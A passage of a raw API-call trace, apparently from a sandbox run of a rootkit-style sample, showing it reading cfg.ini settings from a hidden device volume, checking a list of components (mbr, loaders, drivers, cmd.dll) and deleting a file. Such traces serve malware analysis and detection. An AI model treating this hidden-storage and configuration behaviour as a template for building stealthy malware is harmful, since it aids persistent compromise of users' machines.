KeLeaveCriticalRegion () [0129.057] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.057] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.057] KeEnterCriticalRegion () [0129.057] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.057] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8d000 [0129.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.057] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.057] IdePortDispatch () returned 0x103 [0129.057] KeWaitForMutexObject () returned 0x0 [0129.057] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.057] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.057] IdePortDispatch () returned 0x103 [0129.057] KeWaitForMutexObject () returned 0x0 [0129.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.057] KeLeaveCriticalRegion () [0129.057] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.058] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.058] KeEnterCriticalRegion () [0129.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.058] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.058] KeLeaveCriticalRegion () [0129.058] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.058] KeEnterCriticalRegion () [0129.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.058] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.058] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03e70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.058] KeLeaveCriticalRegion () [0129.058] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.058] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.058] KeEnterCriticalRegion () [0129.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.058] ExFreePoolWithTag (P=0xfffffa8003c03db0, Tag=0x0) [0129.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.058] KeLeaveCriticalRegion () [0129.058] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.058] ReleaseMutex (hMutex=0xf0) returned 1 [0129.058] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.059] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.059] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.059] KeEnterCriticalRegion () [0129.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.059] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.059] IdePortDispatch () returned 0x103 [0129.059] KeWaitForMutexObject () returned 0x0 [0129.059] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.059] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.059] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.059] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.059] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.059] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01320 [0129.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.059] KeLeaveCriticalRegion () [0129.059] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.059] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.059] KeEnterCriticalRegion () [0129.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.059] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.059] KeLeaveCriticalRegion () [0129.059] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.059] KeEnterCriticalRegion () [0129.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.059] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.059] IdePortDispatch () returned 0x103 [0129.060] KeWaitForMutexObject () returned 0x0 [0129.060] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.060] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.060] KeLeaveCriticalRegion () [0129.060] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.060] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.060] KeEnterCriticalRegion () [0129.060] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.060] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8e000 [0129.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.060] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.060] IdePortDispatch () returned 0x103 [0129.060] KeWaitForMutexObject () returned 0x0 [0129.060] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.060] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.060] IdePortDispatch () returned 0x103 [0129.060] KeWaitForMutexObject () returned 0x0 [0129.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.061] KeLeaveCriticalRegion () [0129.061] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.061] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.061] KeEnterCriticalRegion () [0129.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.061] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.061] KeLeaveCriticalRegion () [0129.061] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.061] KeEnterCriticalRegion () [0129.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.061] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.061] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.061] KeLeaveCriticalRegion () [0129.061] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.061] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.061] KeEnterCriticalRegion () [0129.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.062] ExFreePoolWithTag (P=0xfffffa8003c01320, Tag=0x0) [0129.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.062] KeLeaveCriticalRegion () [0129.062] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.062] ReleaseMutex (hMutex=0xf0) returned 1 [0129.062] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.062] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.062] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.062] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.062] KeEnterCriticalRegion () [0129.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.062] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.062] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.062] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.062] IdePortDispatch () returned 0x103 [0129.062] KeWaitForMutexObject () returned 0x0 [0129.062] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.062] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.062] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.062] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.062] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.062] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.062] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.062] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.062] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.062] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.062] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.062] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.062] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.062] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.062] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.063] KeLeaveCriticalRegion () [0129.063] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.063] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.063] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.063] KeEnterCriticalRegion () [0129.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.063] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.063] IdePortDispatch () returned 0x103 [0129.063] KeWaitForMutexObject () returned 0x0 [0129.063] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.063] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.063] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.063] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.063] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.063] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.063] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.063] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.063] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.063] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.063] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.063] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.063] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.063] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.063] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.063] KeLeaveCriticalRegion () [0129.063] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.063] ReleaseMutex (hMutex=0x100) returned 1 [0129.063] Sleep (dwMilliseconds=0x2bf20) [0129.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70214890, dwHighDateTime=0x1d24fa4)) [0129.071] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.071] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.071] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.071] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.071] KeEnterCriticalRegion () [0129.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.071] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.071] IdePortDispatch () returned 0x103 [0129.071] KeWaitForMutexObject () returned 0x0 [0129.071] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.071] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.071] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.071] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.071] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.071] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02120 [0129.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.071] KeLeaveCriticalRegion () [0129.071] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.071] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.071] KeEnterCriticalRegion () [0129.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.071] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.071] KeLeaveCriticalRegion () [0129.071] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.071] KeEnterCriticalRegion () [0129.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.072] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.072] IdePortDispatch () returned 0x103 [0129.072] KeWaitForMutexObject () returned 0x0 [0129.072] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.072] KeLeaveCriticalRegion () [0129.072] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.072] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.072] KeEnterCriticalRegion () [0129.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.072] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b91000 [0129.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.072] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.072] IdePortDispatch () returned 0x103 [0129.072] KeWaitForMutexObject () returned 0x0 [0129.072] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.072] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.072] IdePortDispatch () returned 0x103 [0129.073] KeWaitForMutexObject () returned 0x0 [0129.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.073] KeLeaveCriticalRegion () [0129.073] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.073] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.073] KeEnterCriticalRegion () [0129.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.073] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.073] KeLeaveCriticalRegion () [0129.073] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.073] KeEnterCriticalRegion () [0129.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.073] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.073] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.074] KeLeaveCriticalRegion () [0129.074] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.074] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.074] KeEnterCriticalRegion () [0129.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.074] ExFreePoolWithTag (P=0xfffffa8003c02120, Tag=0x0) [0129.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.074] KeLeaveCriticalRegion () [0129.074] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.074] ReleaseMutex (hMutex=0xf0) returned 1 [0129.074] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.074] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.074] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.074] KeEnterCriticalRegion () [0129.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.074] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.074] 